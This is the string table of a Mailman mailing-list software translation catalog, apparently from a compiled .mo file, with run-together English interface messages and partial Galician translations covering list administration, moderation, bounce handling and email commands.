             number.The message's content type was explicitly disallowedThe message's content type was not explicitly allowedThe moderation policy of the newsgroup.The name of the Usenet group to gateway to and/or from.The new address is already a member: %(newaddr)sThe new address you requested %(newaddr)s is already a member of the
%(listname)s mailing list, however you have also requested a global change of
address.  Upon confirmation, any other mailing list containing the address
%(safeuser)s will be changed. The next digest will be sent as volume
            %(volume)s, number %(number)sThe number of days after which a member's bounce information
             is discarded, if no new bounces have been received in the
             interim.  This value must be an integer.The number of days between sending the <em>Your Membership
             Is Disabled</em> warnings.  This value must be an integer.The public name of this list (make case-changes only).The results of your email command are provided below.
Attached is your original message.
The results of your email commandsThe site administrator at %(hostname)s has changed the password for your
mailing list %(listname)s.  It is now

    %(notifypassword)s

Please be sure to use this for all future list administration.  You may want
to log in now to your list and change the password to something more to your
liking.  Visit your list admin page at

    %(adminurl)s
The subscribers listThe text will be treated as html <em>except</em> that
             newlines will be translated to &lt;br&gt; - so you can use links,
             preformatted text, etc, but don't put in carriage returns except
             where you mean to separate paragraphs.  And review your changes -
             bad html (like some unterminated HTML constructs) can prevent
             display of the entire listinfo page.The topic filter categorizes each incoming email message
             according to <a
            href="http://docs.python.org/library/re.html">regular
             expression filters</a> you specify below.  If the message's
             <code>Subject:</code> or <code>Keywords:</code> header contains a
             match against a topic filter, the message is logically placed
             into a topic <em>bucket</em>.  Each user can then choose to only
             receive messages from the mailing list for a particular topic
             bucket (or buckets).  Any message not categorized in a topic
             bucket registered with the user is not delivered to the list.

             <p>Note that this feature only works with regular delivery, not
             digest delivery.

             <p>The body of the message can also be optionally scanned for
             <code>Subject:</code> and <code>Keywords:</code> headers, as
             specified by the <a
       href="?VARHELP=topics/topics_bodylines_limit">topics_bodylines_limit</a>
             configuration variable.The topic matcher will scan this many lines of the message
             body looking for topic keyword matches.  Body scanning stops when
             either this many lines have been looked at, or a non-header-like
             body line is encountered.  By setting this value to zero, no body
             lines will be scanned (i.e. only the <code>Keywords:</code> and
             <code>Subject:</code> headers will be scanned).  By setting this
             value to a negative number, then all body lines will be scanned
             until a non-header-like line is encountered.
             The variable `m' is the %(listname)s MailList instanceThere are no pending requests.There are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the <a href="?VARHELP=general/moderator">email
             addresses of the list moderators</a>.  Note that the field you
             are changing here specifies the list administrators.There are two ownership roles associated with each mailing
             list.  The <em>list administrators</em> are the people who have
             ultimate control over all parameters of this mailing list.  They
             are able to change any list configuration variable available
             through these administration web pages.

             <p>The <em>list moderators</em> have more limited permissions;
             they are not able to change any list configuration variable, but
             they are allowed to tend to pending administration requests,
             including approving or rejecting held subscription requests, and
             disposing of held postings.  Of course, the <em>list
             administrators</em> can also tend to pending requests.

             <p>In order to split the list ownership duties into
             administrators and moderators, you must
             <a href="passwords">set a separate moderator password</a>,
             and also provide the email addresses of the list moderators in
             this section.  Note that the field you are changing here
             specifies the list moderators.There was no digest to send.There were some problems deleting the mailing list
        <b>%(listname)s</b>.  Contact your site administrator at %(sitelist)s
        for details.These are all the natural languages supported by this list.
             Note that the
             <a href="?VARHELP=language/preferred_language">default
             language</a> must be included.These policies control the automatic bounce processing system
            in Mailman.  Here's an overview of how it works.

            <p>When a bounce is received, Mailman tries to extract two pieces
            of information from the message: the address of the member the
            message was intended for, and the severity of the problem causing
            the bounce.  The severity can be either <em>hard</em> or
            <em>soft</em> meaning either a fatal error occurred, or a
            transient error occurred.  When in doubt, a hard severity is used.

            <p>If no member address can be extracted from the bounce, then the
            bounce is usually discarded.  Otherwise, each member is assigned a
            <em>bounce score</em> and every time we encounter a bounce from
            this member we increment the score.  Hard bounces increment by 1
            while soft bounces increment by 0.5.  We only increment the bounce
            score once per day, so even if we receive ten hard bounces from a
            member per day, their score will increase by only 1 for that day.

            <p>When a member's bounce score is greater than the
            <a href="?VARHELP=bounce/bounce_score_threshold">bounce score
            threshold</a>, the subscription is disabled.  Once disabled, the
            member will not receive any postings from the list until their
            membership is explicitly re-enabled (either by the list
            administrator or the user).  However, they will receive occasional
            reminders that their membership has been disabled, and these
            reminders will include information about how to re-enable their
            membership.

            <p>You can control both the
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings">number
            of reminders</a> the member will receive and the
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings_interval"
            >frequency</a> with which these reminders are sent.

            <p>There is one other important configuration variable; after a
            certain period of time -- during which no bounces from the member
            are received -- the bounce information is
            <a href="?VARHELP=bounce/bounce_info_stale_after">considered
            stale</a> and discarded.  Thus by adjusting this value, and the
            score threshold, you can control how quickly bouncing members are
            disabled.  You should tune both of these to the frequency and
            traffic volume of your list.ThirdThis description is used when the mailing list is listed with
                other mailing lists, or in headers, and so forth.  It should
                be as succinct as you can get it, while still identifying what
                the list is.This is %(also)sa hidden list, which means that the
            list of members is available only to the list administrator.This is %(also)sa private list, which means that the
            list of members is not available to non-members.This is %(also)sa public list, which means that the
            list of members list is available to everyone.This is a closed list, which means your subscription
            will be held for approval.  You will be notified of the list
            moderator's decision by email.This is the default natural language for this mailing list.
             If <a href="?VARHELP=language/available_languages">more than one
             language</a> is supported then users will be able to select their
             own preferences for when they interact with the list.  All other
             interactions will be conducted in the default language.  This
             applies to both web-based and email-based messages, but not to
             email posted by list members.This listThis list does not support digest delivery.This list has no members.This list is restricted; your message was not approved.This list only supports digest delivery.This list only supports digest subscriptions!This page allows you as the list owner, to permanent
    remove this mailing list from the system.  <strong>This action is not
    undoable</strong> so you should undertake it only if you are absolutely
    sure this mailing list has served its purpose and is no longer necessary.

    <p>Note that no warning will be sent to your list members and after this
    action, any subsequent messages sent to the mailing list, or any of its
    administrative addreses will bounce.

    <p>You also have the option of removing the archives for this mailing list
    at this time.  It is almost always recommended that you do
    <strong>not</strong> remove the archives, since they serve as the
    historical record of your mailing list.

    <p>For your safety, you will be asked to reconfirm the list password.
    This section allows you to configure subscription and
            membership exposure policy.  You can also control whether this
            list is public or not.  See also the
            <a href="%(admin)s/archive">Archival Options</a> section for
            separate archive-related privacy settings.This section allows you to configure various anti-spam
            filters posting filters, which can help reduce the amount of spam
            your list members end up receiving.
            This section allows you to configure various filters based on
            the recipient of the message.This setting determines the moderation policy of the
             newsgroup and its interaction with the moderation policy of the
             mailing list.  This only applies to the newsgroup that you are
             gatewaying <em>to</em>, so if you are only gatewaying from
             Usenet, or the newsgroup you are gatewaying to is not moderated,
             set this option to <em>None</em>.

             <p>If the newsgroup is moderated, you can set this mailing list
             up to be the moderation address for the newsgroup.  By selecting
             <em>Moderated</em>, an additional posting hold will be placed in
             the approval process.  All messages posted to the mailing list
             will have to be approved before being sent on to the newsgroup,
             or to the mailing list membership.

             <p><em>Note that if the message has an <tt>Approved</tt> header
             with the list's administrative password in it, this hold test
             will be bypassed, allowing privileged posters to send messages
             directly to the list and the newsgroup.</em>

             <p>Finally, if the newsgroup is moderated, but you want to have
             an open posting policy anyway, you should select <em>Open list,
             moderated group</em>.  The effect of this is to use the normal
             Mailman moderation facilities, but to add an <tt>Approved</tt>
             header to all messages that are gatewayed to Usenet.This value may be either the name of your news server, or
             optionally of the format name:port, where port is a port number.

             The news server is not part of Mailman proper.  You have to
             already have access to an NNTP server, and that NNTP server must
             recognize the machine this mailing list runs on as a machine
             capable of reading and posting news.This value, if any, will be added to the front of the
             new-subscriber welcome message.  The rest of the welcome message
             already describes the important addresses and URLs for the
             mailing list, so you don't need to include any of that kind of
             stuff here.  This should just contain mission-specific kinds of
             things, like etiquette policies or team orientation, or that kind
             of thing.

             <p>Note that this text will be wrapped, according to the
             following rules:
             <ul><li>Each paragraph is filled so that no line is longer than
                     70 characters.
                 <li>Any line that begins with whitespace is not filled.
                 <li>A blank line separates paragraphs.
             </ul>ThuTo finish creating your mailing list, you must edit your /etc/aliases (or
equivalent) file by adding the following lines, and possibly running the
`newaliases' program:
To unsubscribe from %(realname)s, get a password reminder,
        or change your subscription options %(either)senter your subscription
        email address:
        <p><center> To visit the administrators configuration page for an
        unadvertised list, open a URL similar to this one, but with a '/' and
        the %(extra)slist name appended.  If you have the proper authority,
        you can also <a href="%(creatorurl)s">create a new mailing list</a>.

        <p>General list information can be found at Today's Topics (%(msgcount)d messages)Today's Topics:
Too many recipients to the messageTopic %(i)dTopic filter detailsTopic keywords, one per line, to match against each message.Topic name:Topic specifications require both a name and
                a pattern.  Incomplete topics will be ignored.TopicsTueTurn this off only if you plan on subscribing people manually
             and don't want them to know that you did so.  This option is most
             useful for transparently migrating lists from some other mailing
             list manager to Mailman.Turn this on if you want password reminders to be sent once
             per month to your members.  Note that members may disable their
             own individual password reminders.UUkrainianUmbrella list settingsUncaught bounce notificationUnix-From line changed: %(lineno)dUnknown language: %(lang)sUnknown list: %(listname)sUnknown virtual host: %(safehostname)sUnlock a locked list, but do not implicitly Save() it.

    This does not get run if the interpreter exits because of a signal, or if
    os._exit() is called.  It will get called if an exception occurs though.
    Unlocking (but not saving) list: %(listname)sUnsubscribeUnsubscribe or edit optionsUnsubscription RequestsUnsubscription requestUnsubscription request confirmedUnsubscription request succeeded.Unsubscription resultsUpdating HTML for article %(seq)sUpdating Usenet watermarksUpdating index files for archive [%(archive)s]Updating mailing list: %(listname)sUpdating the held requests database.Upgrading from version %(hexlversion)s to %(hextversion)sUsage:Use this option to prohibit posts according to specific
             header values.  The target value is a regular-expression for
             matching against the specified header.  The match is done
             disregarding letter case.  Lines beginning with '#' are ignored
             as comments.

             <p>For example:<pre>to: .*@public.com </pre> says to hold all
             postings with a <em>To:</em> mail header containing '@public.com'
             anywhere among the addresses.

             <p>Note that leading whitespace is trimmed from the regexp.  This
             can be circumvented in a number of ways, e.g. by escaping or
             bracketing it.Use this option to remove each message attachment that
             matches one of these content types.  Each line should contain a
             string naming a MIME <tt>type/subtype</tt>,
             e.g. <tt>image/gif</tt>.  Leave off the subtype to remove all
             parts with a matching major content type, e.g. <tt>image</tt>.

             <p>Blank lines are ignored.

             <p>See also <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a> for a content type whitelist.Use this option to remove each message attachment that does
             not have a matching content type.  Requirements and formats are
             exactly like <a href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>.

             <p><b>Note:</b> if you add entries to this list but don't add
             <tt>multipart</tt> to this list, any messages with attachments
             will be rejected by the pass filter.User `%(addr)s' removed from list: %(listname)s.User address/nameUser specific options pageUsing Mailman version:ValueView or edit the list configuration information.View this page inVisit Subscriber ListVisit Subscriber listVisit the list's admin pageVisit the list's info pageWARNING: could not acquire lock for list: %(listname)sWARNING: directory does not exist: %(d)sWarning!  You may encounter permission problems.Warning: Warning: couldn't remove %(src)s -- %(rest)sWe're sorry, but you have already been unsubscribed
        from this mailing list.  To re-subscribe, please visit the
        <a href="%(listinfourl)s">list information page</a>.WedWeeklyWelcome to the "%(realname)s" mailing list%(digmode)sWelcome!What steps are required for subscription?<br>When "umbrella_list" is set to indicate that this list has
             other mailing lists as members, then administrative notices like
             confirmations and password reminders need to not be sent to the
             member list addresses, but rather to the owner of those member
             lists.  In that case, the value of this setting is appended to
             the member's account name for such notices.  `-owner' is the
             typical choice.  This setting has no effect when "umbrella_list"
             is "No".When <a href="?VARHELP=nondigest/personalize">personalization</a> is enabled
for this list, additional substitution variables are allowed in your headers
and footers:

<ul><li><b>user_address</b> - The address of the user,
        coerced to lower case.
    <li><b>user_delivered_to</b> - The case-preserved address
        that the user is subscribed with.
    <li><b>user_password</b> - The user's password.
    <li><b>user_name</b> - The user's full name.
    <li><b>user_optionsurl</b> - The url to the user's option
        page.
</ul>
When a message is posted to the list, a series of
            moderation steps are taken to decide whether a moderator must
            first approve the message or not.  This section contains the
            controls for moderation of both member and non-member postings.

            <p>Member postings are held for moderation if their
            <b>moderation flag</b> is turned on.  You can control whether
            member postings are moderated by default or not.

            <p>Non-member postings can be automatically
            <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
            >accepted</a>,
            <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held for
            moderation</a>,
            <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
            >rejected</a> (bounced), or
            <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
            >discarded</a>,
            either individually or as a group.  Any
            posting from a non-member who is not explicitly accepted,
            rejected, or discarded, will have their posting filtered by the
            <a href="?VARHELP=privacy/sender/generic_nonmember_action">general
            non-member rules</a>.

            <p>In the text boxes below, add one address per line; start the
            line with a ^ character to designate a <a href=
            "http://docs.python.org/library/re.html"
            >Python regular expression</a>.  When entering backslashes, do so
            as if you were using Python raw strings (i.e. you generally just
            use a single backslash).

            <p>Note that non-regexp matches are always done first.When a new digest volume is started, the volume number is
             incremented and the issue number is reset to 1.When a new member is subscribed to this list, their initial
             set of options is taken from the this variable's setting.When a post from a non-member is received, the message's
             sender is matched against the list of explicitly
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
             >accepted</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
             >rejected</a> (bounced), and
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >discarded</a> addresses.  If no match is found, then this action
             is taken.When members want to leave a list, they will make an
             unsubscription request, either via the web or via email.
             Normally it is best for you to allow open unsubscriptions so that
             users can easily remove themselves from mailing lists (they get
             really upset if they can't get off lists!).

             <p>For some lists though, you may want to impose moderator
             approval before an unsubscription request is processed.  Examples
             of such lists include a corporate mailing list that all employees
             are required to be members of.When receiving digests, which format is default?When set, the list of subscribers is protected by member or
             admin password authentication.When this option is enabled, all list traffic is emergency
             moderated, i.e. held for moderation.  Turn this option on when
             your list is experiencing a flamewar and you want a cooling off
             period.When you are done making changes...When you tell Mailman to perform a catchup on the newsgroup,
             this means that you want to start gating messages to the mailing
             list with the next new message found.  All earlier messages on
             the newsgroup will be ignored.  This is as if you were reading
             the newsgroup yourself, and you marked all current messages as
             <em>read</em>.  By catching up, your mailing list members will
             not see any of the earlier messages.Where are replies to list messages directed?
             <tt>Poster</tt> is <em>strongly</em> recommended for most mailing
             lists.Which delivery mode is the default for new users?While Mailman's bounce detector is fairly robust, it's
             impossible to detect every bounce format in the world.  You
             should keep this variable set to <em>Yes</em> for two reasons: 1)
             If this really is a permanent bounce from one of your members,
             you should probably manually remove them from your list, and 2)
             you might want to send the message on to the Mailman developers
             so that this new format can be added to its known set.

             <p>If you really can't be bothered, then set this variable to
             <em>No</em> and all non-detected bounces will be discarded
             without further processing.

             <p><b>Note:</b> This setting will also affect all messages sent
             to your list's -admin address.  This address is deprecated and
             should never be used, but some people may still send mail to this
             address.  If this happens, and this variable is set to
             <em>No</em> those messages too will get discarded.  You may want
             to set up an
             <a href="?VARHELP=autoreply/autoresponse_admin_text">autoresponse
             message</a> for email to the -owner and -admin address.Who can view subscription list?YearlyYesYes, w/discardYes, w/forwardYou are already a member of this mailing list!You are already subscribed!You are already subscribed.You are already using that email addressYou are forbidden from posting messages to this list.You are not a member of the %(listname)s mailing listYou are not allowed to post to this mailing list, and your message has been
automatically rejected.  If you think that your messages are being rejected in
error, contact the mailing list owner at %(listowner)s.You are not allowed to retrieve the list membership.You are not authorized to create new mailing listsYou are not authorized to delete this mailing listYou can access your personal options via the following url:You can create a new mailing list by entering the
    relevant information into the form below.  The name of the mailing list
    will be used as the primary address for posting messages to the list, so
    it should be lowercased.  You will not be able to change this once the
    list is created.

    <p>You also need to enter the email address of the initial list owner.
    Once the list is created, the list owner will be given notification, along
    with the initial list password.  The list owner will then be able to
    modify the password and add or remove additional list owners.

    <p>If you want Mailman to automatically generate the initial list admin
    password, click on `Yes' in the autogenerate field below, and leave the
    initial list password fields empty.

    <p>You must have the proper authorization to create new mailing lists.
    Each site should have a <em>list creator's</em> password, which you can
    enter in the field at the bottom.  Note that the site administrator's
    password can also be used for authentication.
    You cannot add a Reply-To: to an explicit
            address if that address is blank.  Resetting these values.You cannot enable gatewaying unless both the
                <a href="?VARHELP=gateway/nntp_host">news server field</a> and
                the <a href="?VARHELP=gateway/linked_newsgroup">linked
                newsgroup</a> fields are filled in.You did not give the correct old password, so your password has not been
changed.  Use the no argument version of the password command to retrieve your
current password, then try again.You did not give the correct passwordYou forgot to enter the list nameYou forgot to specify the list ownerYou gave the wrong passwordYou have been successfully subscribed to the %(realname)s mailing list.You have been successfully unsubscribed from the
            mailing list %(fqdn_listname)s.  If you were receiving digest
            deliveries you may get one more digest.  If you have any questions
            about your unsubscription, please contact the list owners at
            %(owneraddr)s.You have been unsubscribed from the %(realname)s mailing listYou have canceled the re-enabling of your membership.  If
    we continue to receive bounces from your address, it could be deleted from
    this mailing list.You have canceled your change of address request.You have canceled your subscription request.You have canceled your unsubscription request.You have digest members, but digests are turned
                off. Those people will not receive mail.You have regular list members but non-digestified mail is
                turned off.  They will receive mail until you fix this
                problem.You have successfully created the mailing list
    <b>%(listname)s</b> and notification has been sent to the list owner
    <b>%(owner)s</b>.  You can now:You have successfully deleted the mailing list
    <b>%(listname)s</b>.You have successfully set your options.You have turned off delivery of both digest and
                non-digest messages.  This is an incompatible state of
                affairs.  You must turn on either digest delivery or
                non-digest delivery or your mailing list will basically be
                unusable.You invited %(address)s to your list, but in a
deliberate malicious attempt, they tried to confirm the invitation to a
different list.  We just thought you'd like to know.  No further action by you
is required.You may get one last digest.You may not subscribe a list to itself!You must confirm your unsubscription request by turning
                on the checkbox below the <em>Unsubscribe</em> button.  You
                have not been unsubscribed!You must fix the preceding invalid addresses first.You must specify a list name.  Here is the %(link)sYou must specify a list.You must supply a valid email address.You were not invited to this mailing list.  The invitation has been discarded,
and both list administrators have been alerted.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.  Once
            confirmation is received, your request will be held for approval
            by the list moderator.  You will be notified of the moderator's
            decision by email.You're being a sneaky list owner!Your <code>%(property)s</code> string appeared to
                    have some correctable problems in its new value.
                    The fixed value will be used instead.  Please
                    double check that this is what you intended.
                    Your confirmation is required in order to cancel the
    posting of your message to the mailing list <em>%(listname)s</em>:

    <ul><li><b>Sender:</b> %(sender)s
        <li><b>Subject:</b> %(subject)s
        <li><b>Reason:</b> %(reason)s
    </ul>

    Hit the <em>Cancel posting</em> button to discard the posting.

    <p>Or hit the <em>Continue awaiting approval</em> button to continue to
    allow the list moderator to approve or reject the message.Your confirmation is required in order to complete the
    change of address request for the mailing list <em>%(listname)s</em>.  You
    are currently subscribed with

    <ul><li><b>Real name:</b> %(fullname)s
        <li><b>Old email address:</b> %(oldaddr)s
    </ul>

    and you have requested to %(globallys)s change your email address to

    <ul><li><b>New email address:</b> %(newaddr)s
    </ul>

    Hit the <em>Change address</em> button below to complete the confirmation
    process.

    <p>Or hit <em>Cancel and discard</em> to cancel this change of address
    request.Your confirmation is required in order to complete the
    unsubscription request from the mailing list <em>%(listname)s</em>.  You
    are currently subscribed with

    <ul><li><b>Real name:</b> %(fullname)s
        <li><b>Email address:</b> %(addr)s
    </ul>

    Hit the <em>Unsubscribe</em> button below to complete the confirmation
    process.

    <p>Or hit <em>Cancel and discard</em> to cancel this unsubscription
    request.Your confirmation is required in order to continue with
        the subscription request to the mailing list <em>%(listname)s</em>.
        Your subscription settings are shown below; make any necessary changes
        and hit <em>Subscribe to list ...</em> to complete the confirmation
        process.  Once you've confirmed your subscription request, the
        moderator must approve or reject your membership request.  You will
        receive notice of their decision.

        <p>Note: your password will be emailed to you once your subscription
        is confirmed.  You can change it by visiting your personal options
        page.

        <p>Or, if you've changed your mind and do not want to subscribe to
        this mailing list, you can hit <em>Cancel my subscription
        request</em>.Your current option settings:Your decisionYour email address:Your membership in the %(realname)s mailing list is
    currently disabled due to excessive bounces.  Your confirmation is
    required in order to re-enable delivery to your address.  We have the
    following information on file:

    <ul><li><b>Member address:</b> %(member)s
        <li><b>Member name:</b> %(username)s
        <li><b>Last bounce received on:</b> %(date)s
        <li><b>Approximate number of days before you are permanently removed
               from this list:</b> %(daysleft)s
    </ul>

    Hit the <em>Re-enable membership</em> button to resume receiving postings
    from the mailing list.  Or hit the <em>Cancel</em> button to defer
    re-enabling your membership.
    Your message had a suspicious header.Your message to %(listname)s awaits moderator approvalYour message was deemed inappropriate by the moderator.Your message was rejectedYour message was too big; please trim it to less than
%(kb)d KB in size.Your new %(listname)s list passwordYour new mailing list: %(listname)sYour password is: %(password)sYour passwords did not match.Your real name:Your request has been forwarded to the list moderator for approval.Your subscription is not allowed because
the email address you gave is insecure.Your subscription is not allowed because the email address you gave is
insecure.Your subscription request has been forwarded to the list administrator
at %(listowner)s for review.Your subscription request has been received, and will soon be acted upon.
Depending on the configuration of this mailing list, your subscription request
may have to be first confirmed by you via email, or approved by the list
moderator.  If confirmation is required, you will soon get a confirmation
email which contains further instructions.Your subscription request was deferred because %(x)s.  Your request has been
forwarded to the list moderator.  You will receive email informing you of the
moderator's decision when they get to your request.Your unsubscription request has been forwarded to the list administrator for
approval.Your unsubscription request has been received and
            forwarded on to the list moderators for approval.  You will
            receive notification once the list moderators have made their
            decision.Your urgent message to the %(realname)s mailing list was not authorized for
delivery.  The original message as received by Mailman is attached.
[No bounce details are available][No explanation given][No reason given][disabled by periodic sweep and cull, no message available][no description available]a single held message.ackack option setadministrative list overviewall held messages.all of %(esender)s's held messages.also article db files must be %(octperms)s: %(path)sarticle file %(filename)s is missing!attribute "%(k)s" changedattribute "%(k)s" ignoredauthorby the adminby the list administratorby youby yourselfcheck a translated template against the original one
       search also <MM-*> tags if html is not zerocheck a translation comparing with the original stringcheck for differences between checked in and checked outchecking cgi-bin permissionschecking mode for %(prefix)schecking ownership of %(dbfile)schecking permissions on %(file)schecking permissions on %(pwfile)schecking permissions on list datachecking perms on %(private)schecking set-gid for %(wrapper)scouldn't remove old file %(pyc)s -- %(rest)sdatedaydaysdelivery offdelivery ondigestdigest footerdigest headerdigest option setdirectory must be at least 02775: %(d)sdirectory permissions must be %(octperms)s: %(path)sdisableddonedue to bouncesdue to excessive bouncesduplicates option setemail address and figuring article archives
file permissions must be at least 660: %(path)sfixing all the perms on your old html archives to work with b6
If your archives are big, this could take a minute or two...for unknown reasonsfound in:from %(start)s to %(end)sgeneral list overviewgetting rid of old source filesgloballyhidehide option setlanguagelegal values are:list creatorlist infolist of available mailing lists.listname is requiredmatching mailing lists found:mbox file must be at least 0660:member address<br>member namemembersmodmyposts option setn/ano dateno lists == nothing to do, exitingno subjectnodupesnomail<br>[reason]not availablenot metoooffonoptionsparse a .po file extracting msgids and msgstrspasswordplainprivateprivate archivesprocessing mailing list:publicpublic archivesreminder option setremoving %(src)sremoving directory %(src)s and everything underneathreturn to the %(categoryname)s options page.rightright scan a string from the original filescan a translated stringscan the po file comparing msgids with msgstrssitesize not availablesource perms must be %(octperms)s: %(path)sstale lock filestop is synonymous with the end command.
subjectsubscriptions to %(name)s require administrator approvalsubscriptions to %(realname)s require moderator approvalthe list admin overview pagethe list administratorthe mailing list overview pagethreadunknown senderunsubunsubscriptions require moderator approvalupdating old qfilesview all messages from %(esender)sProject-Id-Version: mailman_src
POT-Creation-Date: Sun Jan 11 08:28:57 2009
PO-Revision-Date: 2007-10-19 14:01+0200
Last-Translator: Frco. Javier Rial Rodríguez <fjrial@cesga.es>
Language-Team: Galician <mancomun@mancomun.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Generated-By: pygettext.py 1.4
X-Generator: KBabel 1.11.4


NOTA NOTA NOTA NOTA NOTA

    Está a actualizar unha instalación de Mailman existinte, mais non é posíbel
    saber que versión se estaba a executar anteriormente.

    Se estiver a actualizar unha versión 1.b09 do Mailman ou anterior, sería preciso
    actualizar manualmente as roldas de distribución. Para cada rolda de
    distribución é preciso copiar o ficheiro templates/options.html
    lists/<listname>/options.html.

    Porén, se este ficheiro se editase a través da interface
    web, terá que se mesturar as mudanzas dentro deste ficheiro; doutro
    xeito perderanse os cambios.

NOTA NOTA NOTA NOTA NOTA


    echo [argumentos]
        Simplemente devolve un xustificante de recepción.  Os argumentos devólvense sen modificar.

    end
        Rematar o proceso de ordes.  Debe empregar esta orde se o programa de correo engade automaticamente
        un ficheiro de sinatura.

    help
        Envía esta mensaxe de axuda.

    info
        Obtén información sobre esta rolda.

    lists
        Ver unha listaxe das roldas de correo públicas deste servidor de Mailman do GNU.

    password [<contrasinal antigo> <contrasinal novo>] [address=<enderezo>]
        Recuperación ou cambio de contrasinal.  Se se empregar sen argumentos, esta orde envíalle
        o seu contrasinal actual.  Se se empregar cos argumentos <contrasinal antigo> e <contrasinal novo>
        poderá mudar o seu contrasinal.

        Se enviar a mensaxe desde un enderezo diferente a aquel con que se subscribiu á rolda
        deberá indicar o dito enderezo con `address=<enderezo>' (non se debe empregar <>
        aos lados do enderezo nin comiñas).  Teña en conta que, neste caso,
        a resposta sempre se enviará ao enderezo subscrito.

    set ...
        Estabelece ou amosa as opcións da subscrición.

        Empregue `set help' (sen as comiñas) para obter unha listaxe detallada das
        opcións que pode mudar.

        Empregue `set show' (sen as comiñas) para ver os valores actuais das
        opcións.

    set help
        Amosar esta axuda detallada.

    set show [address=<enderezo>]
        Amosa os valores das opcións de subscrición.  Se envía a mensaxe desde un enderezo de correo
        diferente de aquel con que está subscrito, debe especificar o dito enderezo de subscrición
        con `address=<enderezo>' (non debe pór os símbolos <> aos lados do enderezo nin debe empregar
        comiñas).

    set authenticate <password> [address=<enderezo>]
        Para mudar calquera das opcións, debe incluír antes esta orde xunto
        co seu contrasinal de subscrición.  Se envía a mensaxe desde un enderezo de correo
        diferente daquel con que está subscrito, deberá especificar o dito enderezo de subscrición
        con `address=<enderezo>' (non debe pór os símbolos <> aos lados do enderezo nin debe empregar
        comiñas).

    set ack on
    set ack off
        Cando a opción `ack' se activa, recibirá unha mensaxe
        de confirmación sempre que enviar unha mensaxe á rolda.

    set digest plain
    set digest mime
    set digest off
        Cando a opción `digest' está desactivada, recibirá as mensaxes da rolda
        cando se enviaren. Debe empregar `set digest plain' se, pola contra,
        desexa recibir as mensaxes da rolda agrupadas nunha única mensaxe de texto plano
        (é dicir, unha compilación segundo o RFC 1153).  Mais, se desexa recibir as mensaxes da rolda
        agrupadas nunha única mensaxe en formato MIME, deberá empregar `set digest mime' .

    set delivery on
    set delivery off
        Activa ou desactiva a entrega de mensaxes.  Isto non dá de baixa a súa subscrición mais, pola contra,
        indícalle ao Mailman que, por agora, non lle envíe mensaxes.  Isto é útil, por exemplo,
        se se marcha de vacacións.  Cómpre lembrarlle que ten de empregar `set delivery on' cando
        volva das súas vacacións!

    set myposts on
    set myposts off
        Empregue `set myposts off' cando non desexe recibir as mensaxes que vostede mesmo envía
        á rolda. Esta opción non produce resultados se recibe as mensaxes nunha recompilación.

    set hide on
    set hide off
        Debe empregar `set hide on' para ocultar o seu enderezo electrónico cando alguén solicitar unha listaxe
        de membros da rolda de distribución.

    set duplicates on
    set duplicates off
        Debe empregar `set duplicates off' se non desexa que o Mailman lle envíe mensaxes
        se o seu enderezo está indicado de forma explícita nos campos Para: ou Cc:.
        Isto reducirá o número de mensaxes duplicadas que reciba da rolda.

    set reminders on
    set reminders off
        Debe empregar `set reminders off' se desexa que o Mailman non lle envíe as lembranzas mensuais
        do seu contrasinal para esta rolda de distribución.

    subscribe [contrasinal] [digest|nodigest] [address=<enderezo>]
        Subscribirse a esta rolda de distribución.  É imprescindíbel o contrasinal para
        darse de baixa ou cambiar as súas opcións, mais, se omitir o contrasinal, o sistema
        xeraralle un automaticamente.  É posíbel que reciba un lembranza periódica do
       seu contrasinal que poderá desactivar se o desexar

        O argumento seguinte pode ser `nodigest' ou`digest' (sen as comiñas).
        Se desexa subscribirse cun enderezo electrónico distinto ao que empregou para enviar esta solicitude,        debe indicalo con`address=<enderezo>' (sen os símbolos <>
        aos lados do enderezo e sen comiñas)

    unsubscribe [contrasinal] [address=<enderezo>]
        Darse de baixa da rolda de distribución.  Se se indicar, o contrasinal debe
        coincidir co contrasinal na rolda.  Se se omitir, enviaráselle unha mensaxe de confirmación
        ao enderezo con que se está dando de baixa. Se desexar dar de baixa un enderezo
        diferente do que está a empregar para enviar a solicitude, ten que indicalo con
        `address=<enderezo>' (sen os símbolos <> a cada lado do enderezo e sen comiñas)

    who password
        Obtén a listaxe de subscritores da rolda.  Este listaxe está
        reservado aos administradores e mais aos moderadores; 
        por tanto, ten que enviar o contrasinal de administrador ou de moderador
        para obter a listaxe.

%(listname)s ten ficheiros de mbox públicos e privados. Xa que esta rolda
emprega actualmente unha almacenaxe privada, estase a instalar o ficheiro mbox privado
-- %(o_pri_mbox_file)s -- como ficheiro activo e estase a renomear
        %(o_pub_mbox_file)s
como
        %(o_pub_mbox_file)s.preb6

É posíbel integralo dentro da almacenaxe se así o desexar se emprega a escritura
'arch'.

- Rematou o proceso.


- Ignorados:
- Sen procesar:
Comproba unha tradución dada de Mailman e asegúrase que as variábeis e mais
as etiquetas referenciadas na tradución son as mesmas
dos modelos orixinais das do catálogo.

Sintaxe:

cd $MAILMAN_DIR
%(program)s [-q] <idioma>

Onde <idioma> é o código do pais (ex. 'it' para Italia) e -q é para
solicitar un pequeno resumo.

Produciuse un erro:

non se puido obter o bloqueo dalgunhas roldas. Isto significa quer que o Mailman
estaba activo cando se actualizou, quer existían bloqueos danados no directorio
